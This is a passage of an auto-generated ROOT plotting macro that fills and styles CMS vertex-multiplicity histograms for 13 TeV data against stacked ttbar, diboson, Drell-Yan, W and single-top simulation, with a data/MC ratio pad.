nvtx_t#bar{t}__72->SetBinError(30,33.6957); nvtx_t#bar{t}__72->SetBinError(31,31.53696); nvtx_t#bar{t}__72->SetBinError(32,29.15629); nvtx_t#bar{t}__72->SetBinError(33,27.20102); nvtx_t#bar{t}__72->SetBinError(34,25.21515); nvtx_t#bar{t}__72->SetBinError(35,23.18867); nvtx_t#bar{t}__72->SetBinError(36,21.22358); nvtx_t#bar{t}__72->SetBinError(37,19.59093); nvtx_t#bar{t}__72->SetBinError(38,18.68417); nvtx_t#bar{t}__72->SetBinError(39,16.32931); nvtx_t#bar{t}__72->SetBinError(40,15.19272); nvtx_t#bar{t}__72->SetBinError(41,34.50958); nvtx_t#bar{t}__72->SetEntries(355036); nvtx_t#bar{t}__72->SetDirectory(0); ci = TColor::GetColor("#cc0000"); nvtx_t#bar{t}__72->SetFillColor(ci); ci = TColor::GetColor("#cc0000"); nvtx_t#bar{t}__72->SetMarkerColor(ci); nvtx_t#bar{t}__72->GetXaxis()->SetTitle("Vertex multiplicity"); nvtx_t#bar{t}__72->GetXaxis()->SetLabelFont(42); nvtx_t#bar{t}__72->GetXaxis()->SetLabelSize(0.035); nvtx_t#bar{t}__72->GetXaxis()->SetTitleSize(0.035); nvtx_t#bar{t}__72->GetXaxis()->SetTitleFont(42); nvtx_t#bar{t}__72->GetYaxis()->SetTitle(" Events"); nvtx_t#bar{t}__72->GetYaxis()->SetLabelFont(42); nvtx_t#bar{t}__72->GetYaxis()->SetLabelSize(0.035); nvtx_t#bar{t}__72->GetYaxis()->SetTitleSize(0.035); nvtx_t#bar{t}__72->GetYaxis()->SetTitleFont(42); nvtx_t#bar{t}__72->GetZaxis()->SetLabelFont(42); nvtx_t#bar{t}__72->GetZaxis()->SetLabelSize(0.035); nvtx_t#bar{t}__72->GetZaxis()->SetTitleSize(0.035); nvtx_t#bar{t}__72->GetZaxis()->SetTitleFont(42); mc->Add(nvtx_t#bar{t},"hist"); TH1F *nvtx_Diboson__73 = new TH1F("nvtx_Diboson__73","Diboson",40,0,40); nvtx_Diboson__73->SetBinContent(5,0.3458666); nvtx_Diboson__73->SetBinContent(7,0.4341311); nvtx_Diboson__73->SetBinContent(8,1.540293); nvtx_Diboson__73->SetBinContent(9,2.073714); nvtx_Diboson__73->SetBinContent(10,3.200663); nvtx_Diboson__73->SetBinContent(11,5.7331); nvtx_Diboson__73->SetBinContent(12,4.378333); nvtx_Diboson__73->SetBinContent(13,4.028705); nvtx_Diboson__73->SetBinContent(14,5.729887); nvtx_Diboson__73->SetBinContent(15,8.17416); nvtx_Diboson__73->SetBinContent(16,8.262775); nvtx_Diboson__73->SetBinContent(17,9.446387); nvtx_Diboson__73->SetBinContent(18,8.873469); nvtx_Diboson__73->SetBinContent(19,6.904152); nvtx_Diboson__73->SetBinContent(20,8.424392); nvtx_Diboson__73->SetBinContent(21,10.60277); nvtx_Diboson__73->SetBinContent(22,7.62423); nvtx_Diboson__73->SetBinContent(23,10.71629); nvtx_Diboson__73->SetBinContent(24,5.598506); nvtx_Diboson__73->SetBinContent(25,9.528088); nvtx_Diboson__73->SetBinContent(26,5.460204); nvtx_Diboson__73->SetBinContent(27,7.281801); nvtx_Diboson__73->SetBinContent(28,5.937562); nvtx_Diboson__73->SetBinContent(29,4.949276); nvtx_Diboson__73->SetBinContent(30,5.061709); nvtx_Diboson__73->SetBinContent(31,1.809576); nvtx_Diboson__73->SetBinContent(32,3.410291); nvtx_Diboson__73->SetBinContent(33,3.542001); nvtx_Diboson__73->SetBinContent(34,2.994125); nvtx_Diboson__73->SetBinContent(35,1.743477); nvtx_Diboson__73->SetBinContent(36,1.233132); nvtx_Diboson__73->SetBinContent(37,1.209946); nvtx_Diboson__73->SetBinContent(38,0.8021368); nvtx_Diboson__73->SetBinContent(39,1.920902); nvtx_Diboson__73->SetBinContent(40,0.8037142); nvtx_Diboson__73->SetBinContent(41,6.281992); nvtx_Diboson__73->SetBinError(5,0.3458666); nvtx_Diboson__73->SetBinError(7,0.4341312); nvtx_Diboson__73->SetBinError(8,0.7721904); nvtx_Diboson__73->SetBinError(9,0.9303489); nvtx_Diboson__73->SetBinError(10,1.13432); nvtx_Diboson__73->SetBinError(11,1.487459); nvtx_Diboson__73->SetBinError(12,1.320199); nvtx_Diboson__73->SetBinError(13,1.235511); nvtx_Diboson__73->SetBinError(14,1.515861); nvtx_Diboson__73->SetBinError(15,1.772246); nvtx_Diboson__73->SetBinError(16,1.775844); nvtx_Diboson__73->SetBinError(17,1.928752); nvtx_Diboson__73->SetBinError(18,1.886167); nvtx_Diboson__73->SetBinError(19,1.556927); nvtx_Diboson__73->SetBinError(20,1.808415); nvtx_Diboson__73->SetBinError(21,1.980794); nvtx_Diboson__73->SetBinError(22,1.727458); nvtx_Diboson__73->SetBinError(23,2.0842); nvtx_Diboson__73->SetBinError(24,1.500105); nvtx_Diboson__73->SetBinError(25,1.936233); nvtx_Diboson__73->SetBinError(26,1.431717); nvtx_Diboson__73->SetBinError(27,1.676912); nvtx_Diboson__73->SetBinError(28,1.510425); nvtx_Diboson__73->SetBinError(29,1.369896); nvtx_Diboson__73->SetBinError(30,1.363266); nvtx_Diboson__73->SetBinError(31,0.8206712); nvtx_Diboson__73->SetBinError(32,1.144002); nvtx_Diboson__73->SetBinError(33,1.182192); nvtx_Diboson__73->SetBinError(34,1.067556); nvtx_Diboson__73->SetBinError(35,0.8053047); nvtx_Diboson__73->SetBinError(36,0.707751); nvtx_Diboson__73->SetBinError(37,0.6634141); nvtx_Diboson__73->SetBinError(38,0.5687176); nvtx_Diboson__73->SetBinError(39,0.8751835); nvtx_Diboson__73->SetBinError(40,0.5692468); nvtx_Diboson__73->SetBinError(41,1.563421); nvtx_Diboson__73->SetEntries(498); nvtx_Diboson__73->SetDirectory(0); ci = TColor::GetColor("#ffff00"); nvtx_Diboson__73->SetFillColor(ci); ci = TColor::GetColor("#ffff00"); nvtx_Diboson__73->SetMarkerColor(ci); nvtx_Diboson__73->GetXaxis()->SetTitle("Vertex multiplicity"); nvtx_Diboson__73->GetXaxis()->SetLabelFont(42); nvtx_Diboson__73->GetXaxis()->SetLabelSize(0.035); nvtx_Diboson__73->GetXaxis()->SetTitleSize(0.035); nvtx_Diboson__73->GetXaxis()->SetTitleFont(42); nvtx_Diboson__73->GetYaxis()->SetTitle(" Events"); nvtx_Diboson__73->GetYaxis()->SetLabelFont(42); nvtx_Diboson__73->GetYaxis()->SetLabelSize(0.035); nvtx_Diboson__73->GetYaxis()->SetTitleSize(0.035); nvtx_Diboson__73->GetYaxis()->SetTitleFont(42); nvtx_Diboson__73->GetZaxis()->SetLabelFont(42); nvtx_Diboson__73->GetZaxis()->SetLabelSize(0.035); nvtx_Diboson__73->GetZaxis()->SetTitleSize(0.035); nvtx_Diboson__73->GetZaxis()->SetTitleFont(42); mc->Add(nvtx_Diboson,"hist"); TH1F *nvtx_DY__74 = new TH1F("nvtx_DY__74","DY",40,0,40); nvtx_DY__74->SetBinContent(13,38.66452); nvtx_DY__74->SetBinContent(14,19.39491); nvtx_DY__74->SetBinContent(15,33.82054); nvtx_DY__74->SetBinContent(16,17.57083); nvtx_DY__74->SetBinContent(18,16.29086); nvtx_DY__74->SetBinContent(21,36.22921); nvtx_DY__74->SetBinContent(22,14.39964); nvtx_DY__74->SetBinContent(23,34.98171); nvtx_DY__74->SetBinContent(26,15.96457); nvtx_DY__74->SetBinContent(27,18.13515); nvtx_DY__74->SetBinContent(30,19.12663); nvtx_DY__74->SetBinContent(31,34.51785); nvtx_DY__74->SetBinContent(34,16.99921); nvtx_DY__74->SetBinContent(41,15.61073); nvtx_DY__74->SetBinError(13,27.35422); nvtx_DY__74->SetBinError(14,19.39491); nvtx_DY__74->SetBinError(15,23.14632); nvtx_DY__74->SetBinError(16,15.70766); nvtx_DY__74->SetBinError(18,16.29087); nvtx_DY__74->SetBinError(21,25.71461); nvtx_DY__74->SetBinError(22,14.39964); nvtx_DY__74->SetBinError(23,24.77869); nvtx_DY__74->SetBinError(26,15.96457); nvtx_DY__74->SetBinError(27,18.13515); nvtx_DY__74->SetBinError(30,19.12663); nvtx_DY__74->SetBinError(31,24.4698); nvtx_DY__74->SetBinError(34,16.99921); nvtx_DY__74->SetBinError(41,15.61073); nvtx_DY__74->SetEntries(21); nvtx_DY__74->SetDirectory(0); ci = TColor::GetColor("#33ccff"); nvtx_DY__74->SetFillColor(ci); ci = TColor::GetColor("#33ccff"); nvtx_DY__74->SetMarkerColor(ci); nvtx_DY__74->GetXaxis()->SetTitle("Vertex multiplicity"); nvtx_DY__74->GetXaxis()->SetLabelFont(42); nvtx_DY__74->GetXaxis()->SetLabelSize(0.035); nvtx_DY__74->GetXaxis()->SetTitleSize(0.035); nvtx_DY__74->GetXaxis()->SetTitleFont(42); nvtx_DY__74->GetYaxis()->SetTitle(" Events"); nvtx_DY__74->GetYaxis()->SetLabelFont(42); nvtx_DY__74->GetYaxis()->SetLabelSize(0.035); nvtx_DY__74->GetYaxis()->SetTitleSize(0.035); nvtx_DY__74->GetYaxis()->SetTitleFont(42); nvtx_DY__74->GetZaxis()->SetLabelFont(42); nvtx_DY__74->GetZaxis()->SetLabelSize(0.035); nvtx_DY__74->GetZaxis()->SetTitleSize(0.035); nvtx_DY__74->GetZaxis()->SetTitleFont(42); mc->Add(nvtx_DY,"hist"); TH1F *nvtx_W__75 = new TH1F("nvtx_W__75","W",40,0,40); nvtx_W__75->SetDirectory(0); ci = TColor::GetColor("#3366ff"); nvtx_W__75->SetFillColor(ci); ci = TColor::GetColor("#3366ff"); nvtx_W__75->SetMarkerColor(ci); nvtx_W__75->GetXaxis()->SetTitle("Vertex multiplicity"); nvtx_W__75->GetXaxis()->SetLabelFont(42); nvtx_W__75->GetXaxis()->SetLabelSize(0.035); nvtx_W__75->GetXaxis()->SetTitleSize(0.035); nvtx_W__75->GetXaxis()->SetTitleFont(42); nvtx_W__75->GetYaxis()->SetTitle(" Events"); nvtx_W__75->GetYaxis()->SetLabelFont(42); nvtx_W__75->GetYaxis()->SetLabelSize(0.035); nvtx_W__75->GetYaxis()->SetTitleSize(0.035); nvtx_W__75->GetYaxis()->SetTitleFont(42); nvtx_W__75->GetZaxis()->SetLabelFont(42); nvtx_W__75->GetZaxis()->SetLabelSize(0.035); nvtx_W__75->GetZaxis()->SetTitleSize(0.035); nvtx_W__75->GetZaxis()->SetTitleFont(42); mc->Add(nvtx_W,"hist"); TH1F *nvtx_SinglesPtop__76 = new TH1F("nvtx_SinglesPtop__76","Single top",40,0,40); nvtx_SinglesPtop__76->SetBinContent(2,1.462832); nvtx_SinglesPtop__76->SetBinContent(3,1.553983); nvtx_SinglesPtop__76->SetBinContent(5,5.582844); nvtx_SinglesPtop__76->SetBinContent(6,9.929082); nvtx_SinglesPtop__76->SetBinContent(7,23.54027); nvtx_SinglesPtop__76->SetBinContent(8,54.3692); nvtx_SinglesPtop__76->SetBinContent(9,63.2588); nvtx_SinglesPtop__76->SetBinContent(10,94.03015); nvtx_SinglesPtop__76->SetBinContent(11,110.4009); nvtx_SinglesPtop__76->SetBinContent(12,167.5237); nvtx_SinglesPtop__76->SetBinContent(13,231.0999); nvtx_SinglesPtop__76->SetBinContent(14,259.6851); nvtx_SinglesPtop__76->SetBinContent(15,283.3008); nvtx_SinglesPtop__76->SetBinContent(16,349.0875); nvtx_SinglesPtop__76->SetBinContent(17,337.2939); nvtx_SinglesPtop__76->SetBinContent(18,384.6455); nvtx_SinglesPtop__76->SetBinContent(19,366.826); nvtx_SinglesPtop__76->SetBinContent(20,364.361); nvtx_SinglesPtop__76->SetBinContent(21,356.7752); nvtx_SinglesPtop__76->SetBinContent(22,317.1622); nvtx_SinglesPtop__76->SetBinContent(23,283.4727); nvtx_SinglesPtop__76->SetBinContent(24,258.7189); nvtx_SinglesPtop__76->SetBinContent(25,261.114); nvtx_SinglesPtop__76->SetBinContent(26,230.3973); nvtx_SinglesPtop__76->SetBinContent(27,204.6465); nvtx_SinglesPtop__76->SetBinContent(28,156.9334); nvtx_SinglesPtop__76->SetBinContent(29,145.9738); nvtx_SinglesPtop__76->SetBinContent(30,152.2672); nvtx_SinglesPtop__76->SetBinContent(31,124.6683); nvtx_SinglesPtop__76->SetBinContent(32,96.96446); nvtx_SinglesPtop__76->SetBinContent(33,79.71088); nvtx_SinglesPtop__76->SetBinContent(34,75.66441); nvtx_SinglesPtop__76->SetBinContent(35,63.87565); nvtx_SinglesPtop__76->SetBinContent(36,55.65505); nvtx_SinglesPtop__76->SetBinContent(37,39.5785); nvtx_SinglesPtop__76->SetBinContent(38,39.083); nvtx_SinglesPtop__76->SetBinContent(39,22.2858); nvtx_SinglesPtop__76->SetBinContent(40,25.82519); nvtx_SinglesPtop__76->SetBinContent(41,127.2156); nvtx_SinglesPtop__76->SetBinError(2,1.462832); nvtx_SinglesPtop__76->SetBinError(3,1.553983); nvtx_SinglesPtop__76->SetBinError(5,2.796876); nvtx_SinglesPtop__76->SetBinError(6,3.517771); nvtx_SinglesPtop__76->SetBinError(7,5.566417); nvtx_SinglesPtop__76->SetBinError(8,8.497862); nvtx_SinglesPtop__76->SetBinError(9,9.164872); nvtx_SinglesPtop__76->SetBinError(10,11.30435); nvtx_SinglesPtop__76->SetBinError(11,12.20624); nvtx_SinglesPtop__76->SetBinError(12,15.05527); nvtx_SinglesPtop__76->SetBinError(13,17.40092); nvtx_SinglesPtop__76->SetBinError(14,18.62967); nvtx_SinglesPtop__76->SetBinError(15,19.51469); nvtx_SinglesPtop__76->SetBinError(16,21.64823); nvtx_SinglesPtop__76->SetBinError(17,21.27458); nvtx_SinglesPtop__76->SetBinError(18,22.68614); nvtx_SinglesPtop__76->SetBinError(19,22.20254); nvtx_SinglesPtop__76->SetBinError(20,22.03125); nvtx_SinglesPtop__76->SetBinError(21,21.68213); nvtx_SinglesPtop__76->SetBinError(22,20.63899); nvtx_SinglesPtop__76->SetBinError(23,19.52075); nvtx_SinglesPtop__76->SetBinError(24,18.63615); nvtx_SinglesPtop__76->SetBinError(25,18.6315); nvtx_SinglesPtop__76->SetBinError(26,17.43367); nvtx_SinglesPtop__76->SetBinError(27,16.48344); nvtx_SinglesPtop__76->SetBinError(28,14.5208); nvtx_SinglesPtop__76->SetBinError(29,14.03393); nvtx_SinglesPtop__76->SetBinError(30,14.32104); nvtx_SinglesPtop__76->SetBinError(31,12.93875); nvtx_SinglesPtop__76->SetBinError(32,11.4543); nvtx_SinglesPtop__76->SetBinError(33,10.34441); nvtx_SinglesPtop__76->SetBinError(34,10.12919); nvtx_SinglesPtop__76->SetBinError(35,9.25662); nvtx_SinglesPtop__76->SetBinError(36,8.532272); nvtx_SinglesPtop__76->SetBinError(37,7.196586); nvtx_SinglesPtop__76->SetBinError(38,7.292419); nvtx_SinglesPtop__76->SetBinError(39,5.508249); nvtx_SinglesPtop__76->SetBinError(40,5.977724); nvtx_SinglesPtop__76->SetBinError(41,12.96248); nvtx_SinglesPtop__76->SetEntries(5019); nvtx_SinglesPtop__76->SetDirectory(0); ci = TColor::GetColor("#990099"); nvtx_SinglesPtop__76->SetFillColor(ci); ci = TColor::GetColor("#990099"); nvtx_SinglesPtop__76->SetMarkerColor(ci); nvtx_SinglesPtop__76->GetXaxis()->SetTitle("Vertex multiplicity"); nvtx_SinglesPtop__76->GetXaxis()->SetLabelFont(42); nvtx_SinglesPtop__76->GetXaxis()->SetLabelSize(0.035); nvtx_SinglesPtop__76->GetXaxis()->SetTitleSize(0.035); nvtx_SinglesPtop__76->GetXaxis()->SetTitleFont(42); nvtx_SinglesPtop__76->GetYaxis()->SetTitle(" Events"); nvtx_SinglesPtop__76->GetYaxis()->SetLabelFont(42); nvtx_SinglesPtop__76->GetYaxis()->SetLabelSize(0.035); nvtx_SinglesPtop__76->GetYaxis()->SetTitleSize(0.035); nvtx_SinglesPtop__76->GetYaxis()->SetTitleFont(42); nvtx_SinglesPtop__76->GetZaxis()->SetLabelFont(42); nvtx_SinglesPtop__76->GetZaxis()->SetLabelSize(0.035); nvtx_SinglesPtop__76->GetZaxis()->SetTitleSize(0.035); nvtx_SinglesPtop__76->GetZaxis()->SetTitleFont(42); mc->Add(nvtx_Single top,"hist"); mc->Draw("hist same"); Double_t Graph_from_nvtx_fx3021[41] = { 0.5, 1.5, 2.5, 3.5, 4.5, 5.5, 6.5, 7.5, 8.5, 9.5, 10.5, 11.5, 12.5, 13.5, 14.5, 15.5, 16.5, 17.5, 18.5, 19.5, 20.5, 21.5, 22.5, 23.5, 24.5, 25.5, 26.5, 27.5, 28.5, 29.5, 30.5, 31.5, 32.5, 33.5, 34.5, 35.5, 36.5, 37.5, 38.5, 39.5, 0}; Double_t Graph_from_nvtx_fy3021[41] = { 0, 9, 16, 47, 115, 295, 617, 1099, 1921, 2838, 3841, 5112, 6291, 7396, 8229, 8728, 8922, 9004, 8532, 8218, 7603, 6805, 6091, 5327, 4573, 3935, 3263, 2750, 2273, 1762, 1377, 1200, 900, 745, 587, 455, 339, 293, 228, 163, 0}; Double_t Graph_from_nvtx_felx3021[41] = { 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0}; Double_t Graph_from_nvtx_fely3021[41] = { 0, 2.943511, 3.957873, 6.831306, 10.70841, 17.17556, 24.83948, 33.15117, 43.82921, 53.27288, 61.9758, 71.49825, 79.31582, 86, 90.71384, 93.42377, 94.45634, 94.88941, 92.36883, 90.65319, 87.19518, 82.49242, 78.04486, 72.9863, 67.62396, 62.72958, 57.12268, 52.44044, 47.67599, 41.97618, 37.10795, 34.64102, 30, 27.29469, 24.22808, 21.33073, 18.41195, 17.11724, 15.09967, 12.75431, 0}; Double_t Graph_from_nvtx_fehx3021[41] = { 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0}; Double_t Graph_from_nvtx_fehy3021[41] = { 1.841055, 4.110286, 5.083169, 7.904454, 11.75516, 17.17556, 24.83948, 33.15117, 43.82921, 53.27288, 61.9758, 71.49825, 79.31582, 86, 90.71384, 93.42377, 94.45634, 94.88941, 92.36883, 90.65319, 87.19518, 82.49242, 78.04486, 72.9863, 67.62396, 62.72958, 57.12268, 52.44044, 47.67599, 41.97618, 37.10795, 34.64102, 30, 27.29469, 24.22808, 21.33073, 18.41195, 17.11724, 15.09967, 13.79357, 1.841055}; TGraphAsymmErrors *grae = new TGraphAsymmErrors(41,Graph_from_nvtx_fx3021,Graph_from_nvtx_fy3021,Graph_from_nvtx_felx3021,Graph_from_nvtx_fehx3021,Graph_from_nvtx_fely3021,Graph_from_nvtx_fehy3021); grae->SetName("Graph_from_nvtx"); grae->SetTitle("Data"); grae->SetFillStyle(0); grae->SetLineWidth(2); grae->SetMarkerStyle(20); grae->SetMarkerSize(1.4); TH1F *Graph_Graph_from_nvtx3021 = new TH1F("Graph_Graph_from_nvtx3021","Data",100,0,44); Graph_Graph_from_nvtx3021->SetMinimum(0); Graph_Graph_from_nvtx3021->SetMaximum(10008.78); Graph_Graph_from_nvtx3021->SetDirectory(0); Graph_Graph_from_nvtx3021->SetStats(0); ci = TColor::GetColor("#000099"); Graph_Graph_from_nvtx3021->SetLineColor(ci); Graph_Graph_from_nvtx3021->GetXaxis()->SetLabelFont(42); Graph_Graph_from_nvtx3021->GetXaxis()->SetLabelSize(0.035); Graph_Graph_from_nvtx3021->GetXaxis()->SetTitleSize(0.035); Graph_Graph_from_nvtx3021->GetXaxis()->SetTitleFont(42); Graph_Graph_from_nvtx3021->GetYaxis()->SetLabelFont(42); Graph_Graph_from_nvtx3021->GetYaxis()->SetLabelSize(0.035); Graph_Graph_from_nvtx3021->GetYaxis()->SetTitleSize(0.035); Graph_Graph_from_nvtx3021->GetYaxis()->SetTitleFont(42); Graph_Graph_from_nvtx3021->GetZaxis()->SetLabelFont(42); Graph_Graph_from_nvtx3021->GetZaxis()->SetLabelSize(0.035); Graph_Graph_from_nvtx3021->GetZaxis()->SetTitleSize(0.035); Graph_Graph_from_nvtx3021->GetZaxis()->SetTitleFont(42); grae->SetHistogram(Graph_Graph_from_nvtx3021); grae->Draw("p"); TLegend *leg = new TLegend(0.45,0.815,0.98,0.925,NULL,"brNDC"); leg->SetBorderSize(0); leg->SetTextFont(43); leg->SetTextSize(16); leg->SetLineColor(1); leg->SetLineStyle(1); leg->SetLineWidth(1); leg->SetFillColor(0); leg->SetFillStyle(0); TLegendEntry *entry=leg->AddEntry("Graph_from_nvtx","Data","p"); entry->SetLineColor(1); entry->SetLineStyle(1); entry->SetLineWidth(1); entry->SetMarkerColor(1); entry->SetMarkerStyle(20); entry->SetMarkerSize(1.4); entry->SetTextFont(43); entry=leg->AddEntry("nvtx_t#bar{t}","t#bar{t}","f"); ci = TColor::GetColor("#cc0000"); entry->SetFillColor(ci); entry->SetFillStyle(1001); entry->SetLineColor(1); entry->SetLineStyle(1); entry->SetLineWidth(1); entry->SetMarkerColor(1); entry->SetMarkerStyle(21); entry->SetMarkerSize(1); entry->SetTextFont(43); entry=leg->AddEntry("nvtx_Diboson","Diboson","f"); ci = TColor::GetColor("#ffff00"); entry->SetFillColor(ci); entry->SetFillStyle(1001); entry->SetLineColor(1); entry->SetLineStyle(1); entry->SetLineWidth(1); entry->SetMarkerColor(1); entry->SetMarkerStyle(21); entry->SetMarkerSize(1); entry->SetTextFont(43); entry=leg->AddEntry("nvtx_DY","DY","f"); ci = TColor::GetColor("#33ccff"); entry->SetFillColor(ci); entry->SetFillStyle(1001); entry->SetLineColor(1); entry->SetLineStyle(1); entry->SetLineWidth(1); entry->SetMarkerColor(1); entry->SetMarkerStyle(21); entry->SetMarkerSize(1); entry->SetTextFont(43); entry=leg->AddEntry("nvtx_W","W","f"); ci = TColor::GetColor("#3366ff"); entry->SetFillColor(ci); entry->SetFillStyle(1001); entry->SetLineColor(1); entry->SetLineStyle(1); entry->SetLineWidth(1); entry->SetMarkerColor(1); entry->SetMarkerStyle(21); entry->SetMarkerSize(1); entry->SetTextFont(43); entry=leg->AddEntry("nvtx_Single top","Single top","f"); ci = TColor::GetColor("#990099"); entry->SetFillColor(ci); entry->SetFillStyle(1001); entry->SetLineColor(1); entry->SetLineStyle(1); entry->SetLineWidth(1); entry->SetMarkerColor(1); entry->SetMarkerStyle(21); entry->SetMarkerSize(1); entry->SetTextFont(43); leg->Draw(); TLatex * tex = new TLatex(0.18,0.95,"#bf{CMS} #it{Preliminary} 35.9 fb^{-1} (13 TeV)"); tex->SetNDC(); tex->SetTextAlign(12); tex->SetTextFont(43); tex->SetTextSize(16); tex->SetLineWidth(2); tex->Draw(); p1->Modified(); c->cd(); // ------------>Primitives in pad: p2 TPad *p2 = new TPad("p2", "p2",0,0.85,1,1); p2->Draw(); p2->cd(); p2->Range(-5.783133,0.4485106,42.40964,1.597447); p2->SetFillColor(0); p2->SetBorderMode(0); p2->SetBorderSize(2); p2->SetGridx(); p2->SetGridy(); p2->SetLeftMargin(0.12); p2->SetRightMargin(0.05); p2->SetTopMargin(0.05); p2->SetBottomMargin(0.01); p2->SetFrameBorderMode(0); p2->SetFrameBorderMode(0); TH1F *ratioframe__77 = new TH1F("ratioframe__77","t#bar{t}",40,0,40); ratioframe__77->SetMinimum(0.46); ratioframe__77->SetMaximum(1.54); ratioframe__77->SetEntries(360574); ci = TColor::GetColor("#cc0000"); ratioframe__77->SetFillColor(ci); ci = TColor::GetColor("#cc0000"); ratioframe__77->SetMarkerColor(ci); ratioframe__77->GetXaxis()->SetTitle("Vertex multiplicity"); ratioframe__77->GetXaxis()->SetLabelFont(42); ratioframe__77->GetXaxis()->SetLabelSize(0); ratioframe__77->GetXaxis()->SetTitleSize(0); ratioframe__77->GetXaxis()->SetTitleOffset(0); ratioframe__77->GetXaxis()->SetTitleFont(42); ratioframe__77->GetYaxis()->SetTitle("Data/MC"); ratioframe__77->GetYaxis()->SetNoExponent(); ratioframe__77->GetYaxis()->SetNdivisions(5); ratioframe__77->GetYaxis()->SetLabelFont(42); ratioframe__77->GetYaxis()->SetLabelSize(0.18); ratioframe__77->GetYaxis()->SetTitleSize(0.2); ratioframe__77->GetYaxis()->SetTitleOffset(0.2); ratioframe__77->GetYaxis()->SetTitleFont(42); ratioframe__77->GetZaxis()->SetLabelFont(42); ratioframe__77->GetZaxis()->SetLabelSize(0.035); ratioframe__77->GetZaxis()->SetTitleSize(0.035); ratioframe__77->GetZaxis()->SetTitleFont(42); ratioframe__77->Draw(""); Double_t Graph_from_ratio_fx3022[40] = { 0.5, 1.5, 2.5, 3.5, 4.5, 5.5, 6.5, 7.5, 8.5, 9.5, 10.5, 11.5, 12.5, 13.5, 14.5, 15.5, 16.5, 17.5, 18.5, 19.5, 20.5, 21.5, 22.5, 23.5, 24.5, 25.5, 26.5, 27.5, 28.5, 29.5, 30.5, 31.5, 32.5, 33.5, 34.5, 35.5, 36.5, 37.5, 38.5, 39.5}; Double_t Graph_from_ratio_fy3022[40] = { 0, 1.391841, 0.9221867, 1.265779, 1.013375, 1.286758, 1.309, 1.321376, 1.371335, 1.317726, 1.281748, 1.290575, 1.246346, 1.230774, 1.202046, 1.152613, 1.109537, 1.071286, 1.016529, 0.9843939, 0.9495769, 0.8920624, 0.8734176, 0.8382307, 0.7962248, 0.7606463, 0.7151068, 0.7094691, 0.6733626, 0.5985677, 0.533083, 0.5539373, 0.4789728, 0.4539087, 0.4270753, 0.3951705, 0.348238, 0.3293805, 0.3373604, 0.2765153}; Double_t Graph_from_ratio_felx3022[40] = { 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5}; Double_t Graph_from_ratio_fely3022[40] = { 0, 0.6396228, 0.2796264, 0.2268052, 0.1146323, 0.09407464, 0.06663131, 0.0507414, 0.03981685, 0.03125737, 0.02591924, 0.02269805, 0.0207572, 0.01827135, 0.01692303, 0.01540714, 0.0143817, 0.01391091, 0.01329579, 0.01304796, 0.01335996, 0.01290672, 0.01355582, 0.01347029, 0.01373268, 0.01424266, 0.01467061, 0.01553381, 0.01612445, 0.01655194, 0.01677482, 0.01788723, 0.01760753, 0.01884723, 0.01926062, 0.02012214, 0.02033536, 0.0206271, 0.02394512, 0.02297406}; Double_t Graph_from_ratio_fehx3022[40] = { 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5}; Double_t Graph_from_ratio_fehy3022[40] = { 0, 0.6396228, 0.2796264, 0.2268052, 0.1146323, 0.09407464, 0.06663131, 0.0507414, 0.03981685, 0.03125737, 0.02591924, 0.02269805, 0.0207572, 0.01827135, 0.01692303, 0.01540714, 0.0143817, 0.01391091, 0.01329579, 0.01304796, 0.01335996, 0.01290672, 0.01355582, 0.01347029, 0.01373268, 0.01424266, 0.01467061, 0.01553381, 0.01612445, 0.01655194, 0.01677482, 0.01788723, 0.01760753, 0.01884723, 0.01926062, 0.02012214, 0.02033536, 0.0206271, 0.02394512, 0.02297406}; grae = new TGraphAsymmErrors(40,Graph_from_ratio_fx3022,Graph_from_ratio_fy3022,Graph_from_ratio_felx3022,Graph_from_ratio_fehx3022,Graph_from_ratio_fely3022,Graph_from_ratio_fehy3022); grae->SetName("Graph_from_ratio"); grae->SetTitle("Data"); grae->SetFillStyle(0); grae->SetLineWidth(2); grae->SetMarkerStyle(20); grae->SetMarkerSize(1.4); TH1F *Graph_Graph_from_ratio3022 = new TH1F("Graph_Graph_from_ratio3022","Data",100,0,44); Graph_Graph_from_ratio3022->SetMinimum(0); Graph_Graph_from_ratio3022->SetMaximum(2.23461); Graph_Graph_from_ratio3022->SetDirectory(0); Graph_Graph_from_ratio3022->SetStats(0); ci = TColor::GetColor("#000099"); Graph_Graph_from_ratio3022->SetLineColor(ci); Graph_Graph_from_ratio3022->GetXaxis()->SetLabelFont(42); Graph_Graph_from_ratio3022->GetXaxis()->SetLabelSize(0.035); Graph_Graph_from_ratio3022->GetXaxis()->SetTitleSize(0.035); Graph_Graph_from_ratio3022->GetXaxis()->SetTitleFont(42); Graph_Graph_from_ratio3022->GetYaxis()->SetLabelFont(42); Graph_Graph_from_ratio3022->GetYaxis()->SetLabelSize(0.035); Graph_Graph_from_ratio3022->GetYaxis()->SetTitleSize(0.035); Graph_Graph_from_ratio3022->GetYaxis()->SetTitleFont(42); Graph_Graph_from_ratio3022->GetZaxis()->SetLabelFont(42); Graph_Graph_from_ratio3022->GetZaxis()->SetLabelSize(0.035); Graph_Graph_from_ratio3022->GetZaxis()->SetTitleSize(0.035); Graph_Graph_from_ratio3022->GetZaxis()->SetTitleFont(42); 